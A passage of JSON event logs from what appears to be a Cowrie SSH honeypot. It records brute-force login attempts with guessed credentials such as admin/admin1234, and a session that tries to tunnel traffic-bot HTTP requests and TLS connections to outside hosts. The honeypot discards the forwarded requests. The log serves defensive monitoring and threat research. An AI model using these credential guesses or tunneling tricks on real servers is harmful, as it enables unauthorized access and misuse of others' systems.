0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:53.810436Z","src_ip":"123.27.168.40","session":"7d660defe36b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"user","message":"login attempt [deployer/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:54.319160Z","src_ip":"45.153.34.195","session":"7319c2eeca4a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:55.260771Z","src_ip":"123.27.168.40","session":"7d660defe36b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:55.402879Z","src_ip":"45.153.34.195","session":"7319c2eeca4a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:55.760637Z","session":"7d660defe36b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:55.828689Z","session":"7d660defe36b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:56.112647Z","src_ip":"123.27.168.40","session":"7d660defe36b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 14_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.5.1 Mobile/18E212 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1184\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=JlE%2BQjxLe19MUXVyVnI5dg%3D%3DfZyr75n5fjVEcWSZT%2F4kkBHqif6a5WNsY6NbKT5Cn1mcejHnOvjCpfoIOJnnmVwA20ZQ%2FHOcpvDmSD1n3YJquE9oGq0rFN4nzkEGFp1pkkbuGgwjb4iD%2FsRkz%2Bv440BUpUoTx7pFvGWJJmdkBHAMtRY6bs7lo%2By8L4fgoDNBlalSWEwjoaYhF%2F5oH8U9abpKNxlusIHDwC7R9NNUiG5AV3DlgA0CnO8x%2F0DyHqr0kKsSJLoLnz0VNJjJnjs2T48gqYZ9XeoQmdvq%2BLRJU3BPz3EjJLOZYIR1syoFHICFpsgxtPTK%2F4rSWUYoje0J%2Fll5z4PJWeh9ZGgUA%2BjBqWoalBKXPztwYpxlYNOW6YhhpIpohyVWGNl3%2BgtNJd4S6KRy69X3c7GuFR%2FcwZOMogvKXhxpWVZdS71GyqVZ%2FCnJ1EFJhsMFahL3n42esBch9gHLbWpgg0oasSV6v%2Fs64fP8S6VocEepYKWqsO91cEnyg7fQJaCOxWwRISg75JAtjB1QHD1TMIBbAZiReJ5%2FoebhDXRHjulbUDWJ%2FNTxluZ67fbZq7i13BNLUx1JAnv7DvKTsm2qzkxRU12MBnOrv1obRcRr4cNY3wTp3F88Rk17Ispjt%2FOkhkARFBT2MEV%2B7WEU4a8Ha1fAN6vzJ4aiQttJJz7syugAHUTVI5g%2BtK8oLawWnSJkqQA1xvVlvuuLn6K1wIQXVaeFDfyS5SMufAfpttci%2BeREzlVAKYH%2FRam5GupWaay1uKz2kOxQrdyKU0dSU1uhaBnlgueVwAknnadMyC2WITMj7ciKOvRSrm4D%2BE4AOji6GyAs3d5kQJVzb%2FhL01nttTjf1HpXn8E%2FJ2rAGctSIVMYKXsiKeQ8ZV0wJOrNjqCifQ%2BfYBR%2FcNeA%2Bd8VHAf8Q814hncdjK%2BU3Rlx1zPoJRvihGL3ONbIk%2FkYkbvElQcNLovmXEq9zbbzbFJDsCbgd40qOePsonVx47zexmQZuD6VpJlMcx32YLwM%2BzgAi7%2BW7IPnub6HVUY5AP7xmRgyeos6ITY4L8IdibPUVgfLmG60idgdf7F2WyLz01scpZ6znXORu0EUovR6wgpa'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 14_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.5.1 Mobile/18E212 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1184\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=JlE%2BQjxLe19MUXVyVnI5dg%3D%3DfZyr75n5fjVEcWSZT%2F4kkBHqif6a5WNsY6NbKT5Cn1mcejHnOvjCpfoIOJnnmVwA20ZQ%2FHOcpvDmSD1n3YJquE9oGq0rFN4nzkEGFp1pkkbuGgwjb4iD%2FsRkz%2Bv440BUpUoTx7pFvGWJJmdkBHAMtRY6bs7lo%2By8L4fgoDNBlalSWEwjoaYhF%2F5oH8U9abpKNxlusIHDwC7R9NNUiG5AV3DlgA0CnO8x%2F0DyHqr0kKsSJLoLnz0VNJjJnjs2T48gqYZ9XeoQmdvq%2BLRJU3BPz3EjJLOZYIR1syoFHICFpsgxtPTK%2F4rSWUYoje0J%2Fll5z4PJWeh9ZGgUA%2BjBqWoalBKXPztwYpxlYNOW6YhhpIpohyVWGNl3%2BgtNJd4S6KRy69X3c7GuFR%2FcwZOMogvKXhxpWVZdS71GyqVZ%2FCnJ1EFJhsMFahL3n42esBch9gHLbWpgg0oasSV6v%2Fs64fP8S6VocEepYKWqsO91cEnyg7fQJaCOxWwRISg75JAtjB1QHD1TMIBbAZiReJ5%2FoebhDXRHjulbUDWJ%2FNTxluZ67fbZq7i13BNLUx1JAnv7DvKTsm2qzkxRU12MBnOrv1obRcRr4cNY3wTp3F88Rk17Ispjt%2FOkhkARFBT2MEV%2B7WEU4a8Ha1fAN6vzJ4aiQttJJz7syugAHUTVI5g%2BtK8oLawWnSJkqQA1xvVlvuuLn6K1wIQXVaeFDfyS5SMufAfpttci%2BeREzlVAKYH%2FRam5GupWaay1uKz2kOxQrdyKU0dSU1uhaBnlgueVwAknnadMyC2WITMj7ciKOvRSrm4D%2BE4AOji6GyAs3d5kQJVzb%2FhL01nttTjf1HpXn8E%2FJ2rAGctSIVMYKXsiKeQ8ZV0wJOrNjqCifQ%2BfYBR%2FcNeA%2Bd8VHAf8Q814hncdjK%2BU3Rlx1zPoJRvihGL3ONbIk%2FkYkbvElQcNLovmXEq9zbbzbFJDsCbgd40qOePsonVx47zexmQZuD6VpJlMcx32YLwM%2BzgAi7%2BW7IPnub6HVUY5AP7xmRgyeos6ITY4L8IdibPUVgfLmG60idgdf7F2WyLz01scpZ6znXORu0EUovR6wgpa'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:56.119932Z","src_ip":"123.27.168.40","session":"7d660defe36b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:56.354668Z","src_ip":"123.27.168.40","session":"7d660defe36b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xdd\\x1dtO\\xbe\\x18%\\xf5\\xe4$$\\xba\\xe5-\\x9c\\x85\\xc0\\x12T\\xe1\\x95\\x1c\\xbce:4\\x19S8\\x8es\\xef \\xa8\\x9dR\\x10\\x89\\x0b\\xaf\\xdel\\x18\\x7f$t\\xea\\xc2\\x9a\\xdd\\xaf\\x01\\x00\\xed\\xd1&\\x01\\x11\\x1dDg\\xe8\"0@\\x00 \\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf3\\n\\xa8\\xf1\\x06\\xbb\\x10\\xfba\\x06y\\x90\\x8d\\xbetX.n\\xcd\\xdd\\xf6\\x13\\x0cv\\xbd[)a\\x1cL\\xe4@\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xdd\\x1dtO\\xbe\\x18%\\xf5\\xe4$$\\xba\\xe5-\\x9c\\x85\\xc0\\x12T\\xe1\\x95\\x1c\\xbce:4\\x19S8\\x8es\\xef \\xa8\\x9dR\\x10\\x89\\x0b\\xaf\\xdel\\x18\\x7f$t\\xea\\xc2\\x9a\\xdd\\xaf\\x01\\x00\\xed\\xd1&\\x01\\x11\\x1dDg\\xe8\"0@\\x00 \\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf3\\n\\xa8\\xf1\\x06\\xbb\\x10\\xfba\\x06y\\x90\\x8d\\xbetX.n\\xcd\\xdd\\xf6\\x13\\x0cv\\xbd[)a\\x1cL\\xe4@\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:56.358563Z","src_ip":"123.27.168.40","session":"7d660defe36b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":13100,"dst_ip":"10.17.0.5","dst_port":22,"session":"136ae4945019","protocol":"ssh","message":"New connection: 45.153.34.195:13100 (10.17.0.5:22) [session: 136ae4945019]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:56.551899Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:56.560710Z","src_ip":"45.153.34.195","session":"136ae4945019","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:56.641050Z","src_ip":"45.153.34.195","session":"136ae4945019","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:56.840200Z","session":"7d660defe36b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbs","password":"dbs","message":"login attempt [dbs/dbs] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:57.041976Z","src_ip":"45.153.34.195","session":"136ae4945019","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:57.088291Z","src_ip":"123.27.168.40","session":"7d660defe36b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03dR;\\x84\\xfa\\x1aX\\xce\\x1d\\xef\\xb5$\\x849\\xb8\\xf4\\xc9\\xfc\\xa1\\xb0\\x80\\x8a\\xb7\\x84\\x0b\\x05\\xb0\\x1b`\\xea\\xdf\\xea 9i\\xa50\\xd2\\xa8\\x08\\x9e\\x8d\\xda\\x88\\x81@\\xde\\xa0\\xb7\\xd3@\\x05Vu\\xe0\\x8c\\xfb\\xe3\\x0c+V\\xb8\\xc0\\x8cd\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 %\\x97P\\xe1\\xe0\\x89\\xab\\xa3\\xc1\\xacdB\\xf5^\\\\\\x97f\\x13fa\\xdc\\xa7\\xb1\\xf1\\x94\\xc6\\x93i+x\\xae\\x0c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03dR;\\x84\\xfa\\x1aX\\xce\\x1d\\xef\\xb5$\\x849\\xb8\\xf4\\xc9\\xfc\\xa1\\xb0\\x80\\x8a\\xb7\\x84\\x0b\\x05\\xb0\\x1b`\\xea\\xdf\\xea 9i\\xa50\\xd2\\xa8\\x08\\x9e\\x8d\\xda\\x88\\x81@\\xde\\xa0\\xb7\\xd3@\\x05Vu\\xe0\\x8c\\xfb\\xe3\\x0c+V\\xb8\\xc0\\x8cd\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 %\\x97P\\xe1\\xe0\\x89\\xab\\xa3\\xc1\\xacdB\\xf5^\\\\\\x97f\\x13fa\\xdc\\xa7\\xb1\\xf1\\x94\\xc6\\x93i+x\\xae\\x0c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:57.091392Z","src_ip":"123.27.168.40","session":"7d660defe36b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:57.535618Z","src_ip":"123.27.168.40","session":"7d660defe36b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:58.126582Z","src_ip":"45.153.34.195","session":"136ae4945019","protocol":"ssh"}
